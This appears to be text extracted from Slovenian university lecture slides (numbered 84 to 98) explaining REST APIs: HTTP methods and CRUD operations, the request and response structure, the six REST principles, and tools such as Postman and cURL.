 Ko pošljemo zahtevo, bi raje videli, da se podatki vrnejo v strukturirani obliki in ne kot celotne spletne strani (HTML)  Zato bi želeli podatke, ki jih strežnik vrne kot odgovor na zahtevo odjemalca, v obliki JSON ali XML  -> oba formata imata ustrezno hierarhično strukturo podatkov  Težava, ki je do zdaj prisotna v tem okviru je, da moramo za pridobitev zahtevanih podatkov uporabiti veliko metod, uporaba teh metod za pridobivanje podatkov pa postane precej okorna, ko so podatki kompleksni.  REST naslavlja problem “pomanjkanja standarda”. Vmesnik REST poudarja enotne vmesnike, neodvisno uvajanje komponent, skalabilnost interakcij med njimi.  Zato uporabimo t.i. vmesnik REST API, ki ustvari objekt in nato odjemalcu v odgovor pošlje vrednosti objekta
84
Osnovni pojmi REST
 REpresentational State Transfer (prenos predstavitvenega stanja)  REST je arhitekturna zasnova za spletne storitve, ki temelji na HTTP protokolu.  Uporablja se lahko z različnimi programskimi jeziki.  Dva ključna pojma:  Odjemalec (client) - odjemalec je (oseba) programska oprema, ki uporablja API  Vir (resource) - vir je lahko kateri koli predmet, o katerem lahko API zagotovi informacije
85
Metode REST API-ja – HTTP metode
 HTTP metode:  GET – prejme podatke iz določenega vira  POST – pošlje podatke, ki so obravnavani na določenem viru  PUT – posodobi vir  DELETE – izbriše vir  Metode uporabljajo operacije CRUD  ustvarimo vir (CREATE)  preberemo vir (READ)  posodobimo vir (UPDATE)  izbrišemo vir (DELETE)  POST in GET metode smo že uporabljali pri HTML formah, za AJAX & REST pa sta dodani še DELETE in PUT
86
Zahteva-odgovor
ZAHTEVA: Headers Method URL Body ODGOVOR: Status code Headers Body
87
REST - primer
 razvijalec pokliče programski vmesnik (API) (npr. Instagram)  pridobi določenega uporabnika (vir)  API bo vrnil stanje tega uporabnika  ime, število objav, ki jih je do zdaj objavil na Instagramu, število njegovih sledilcev in druge podatke  Predstavitev stanja je lahko v obliki JSON in verjetno je za večino API-jev to res tako  Lahko je tudi v obliki XML ali celo HTML  Zbirka projektov z alternativnimi frontendi (YouTube, IMDB,…) – običajno brez oglasov ali ostalih delov – uporabljajo uradni REST API od spletne strani in prikažejo v novem vmesniku: https://github.com/mendel5/alternative-front-ends  https://www.reuters.com/ vs https://neuters.de/  Ni pa nujno, da so REST API zastonj (Reddit, Vreme itd…)
88
RESTful
 REST vs RESTful  REST je arhitekturna zasnova za spletne storitve, ki temelji na HTTP protokolu.  RESTful je implementacija REST.  Spletna aplikacija RESTful razkriva podatke o sebi v obliki podatkov o svojih virih  Ter izvajanje aktivnosti na teh virih  Primer: ustvarjanje novih virov (npr. ustvarjanje novega uporabnika) ali spreminjanje obstoječih virov (npr. urejanje objave)  Vendar mora upoštevati vrsto omejitev oz. zahtev – imenujemo jih principi
89
REST
 Kaj strežnik stori, ko odjemalec pokliče enega od njegovih API-jev, pa je odvisno od dveh stvari, ki jih moramo zagotoviti strežniku: 1. identifikatorja vira  URL za vir, znan tudi kot končna točka 2. operacije, ki jo želi strežnik izvesti na tem viru, v obliki metode HTTP  običajne metode so GET, POST, PUT in DELETE.  Primer: za pridobitev določenega uporabnika Twitterja (X) z uporabo Twitterjevega vmesnika API (RESTful) je potreben naslov URL, ki identificira tega uporabnika, in metoda HTTP GET
90
Forum (kategorije, posti) in JSON
 Uporaba PHP in JSON podatkovnega formata z REST API  CRUD operacije  Postman: https://www.postman.com/  Postman je API platforma za gradnjo in uporabo API-jev  Za lokalno generiranje potrebujete Postman Agent-a  Alternativa je tudi cURL ali HTTPie ali ThunderClient za VS Code ali https://hoppscotch.io/
91
REST – principi
 Da bi bil API primeren za RESTful, mora izpolnjevati 6 zahtev:  enoten vmesnik (ang. uniform interface)  ločitev odjemalca in strežnika (ang. client - server separation)  „brezstanjskost“ (ang. stateless)  večplastnost sistema (ang. layered system)  možnost predpomnjenja (ang. cacheable)  koda na zahtevo (ang. code-on-demand) * ni obvezna zahteva
92
REST – enoten vmesnik (uniform interface)
REST - principi  Rezultat enotnega vmesnika je, da so zahteve različnih odjemalcev videti enako, ne glede na to, ali je odjemalec brskalnik Chrome, operacijski sistem strežnika Linux, skripta Python, aplikacija Android ali karkoli drugega  Ima 4 dele: 1. Identifikacija vira zahteva za strežnik mora vsebovati identifikator vira 2. Manipulacija z viri z uporabo predstavitev odgovor, ki ga strežnik vrne, vsebuje dovolj informacij, da lahko odjemalec spremeni vir 3. Samopisna sporočila  vsaka zahteva vsebuje vse informacije, ki jih strežnik potrebuje za izvedbo zahteve  vsak odgovor, ki ga strežnik vrne, vsebuje vse informacije, ki jih odjemalec potrebuje za razumevanje odgovora 4. Hipermediji kot gonilo stanja aplikacije hiperpovezave ali preprosto povezave, ki jih lahko strežnik vključi v odgovor
93
REST – ločitev odjemalca in strežnika (client - server separation)
REST - principi  Odjemalec in strežnik sta razvita in delujeta neodvisno, interakcija med njima pa poteka le v obliki  zahtevkov, ki jih sproži le odjemalec  odgovorov, ki jih strežnik pošlje odjemalcu le kot odziv na zahtevo  Strežnik samo čaka na zahteve odjemalca  Strežnik sam ne začne pošiljati informacij o stanju nekaterih virov
94
REST – „brezstanjskost“ (stateless)
REST - principi  Pomeni, da si strežnik ne zapomni ničesar o uporabniku, ki uporablja API  Ne spomni se, ali je uporabnik API v preteklosti že poslal zahtevo GET za isti vir, ne spomni se, katere vire je uporabnik API zahteval prej, in tako naprej  Vsaka posamezna zahteva vsebuje vse informacije, ki jih strežnik potrebuje za izvedbo zahteve in vrnitev odgovora, ne glede na druge zahteve istega uporabnika API
95
REST – večplastnost sistema (layered system)
REST - principi  Med odjemalcem, ki zahteva predstavitev stanja vira, in strežnikom, ki pošlje odgovor, je lahko vmes več strežnikov  Ti strežniki lahko zagotavljajo varnostno raven, raven predpomnilnika, raven izravnave obremenitve ali druge funkcije  Te plasti ne smejo vplivati na zahtevo ali odgovor  Odjemalcu ni pomembno, koliko plasti, če sploh, je med njim in dejanskim strežnikom, ki odgovarja na zahtevo
96
REST – možnost predpomnjenja (cacheable)
REST - principi  To pomeni, da podatki, ki jih pošilja strežnik, vsebujejo informacije o tem, ali jih je mogoče shraniti v predpomnilnik ali ne  Če je podatke mogoče shraniti v predpomnilnik, lahko vsebujejo številko različice  ta omogoča predpomnjenje: ker odjemalec ve, katero različico podatkov že ima (iz prejšnjega odgovora), se lahko izogne temu, da bi vedno znova zahteval iste podatke  Odjemalec mora tudi vedeti, ali je trenutna različica podatkov potekla  v tem primeru bo vedel, da mora strežniku poslati še eno zahtevo, da bi pridobil najnovejše podatke o stanju vira
97
REST – koda na zahtevo (code-on-demand)
REST - principi  Ta omejitev ni obvezna - API je lahko RESTful tudi brez zagotavljanja kode na zahtevo  Odjemalec lahko od strežnika zahteva kodo, nato pa bo odgovor strežnika vseboval določeno kodo, običajno v obliki skripte, če je odgovor v obliki HTML  Odjemalec lahko nato to kodo izvede
98
cURL
 Client URL library / cURL:  https://curl.se/  Brezplačna in odprtokodna programska oprema. Uporablja se v ukaznih vrsticah ali skriptah za prenos podatkov.  cURL PHP:  https://www.php.net/manual/en/book.curl.php  PHP podpira knjižnico libcurl, ki omogoča povezovanje in komunikacijo z različnimi vrstami strežnikov z različnimi vrstami protokolov, npr. http, https, ftp, itd.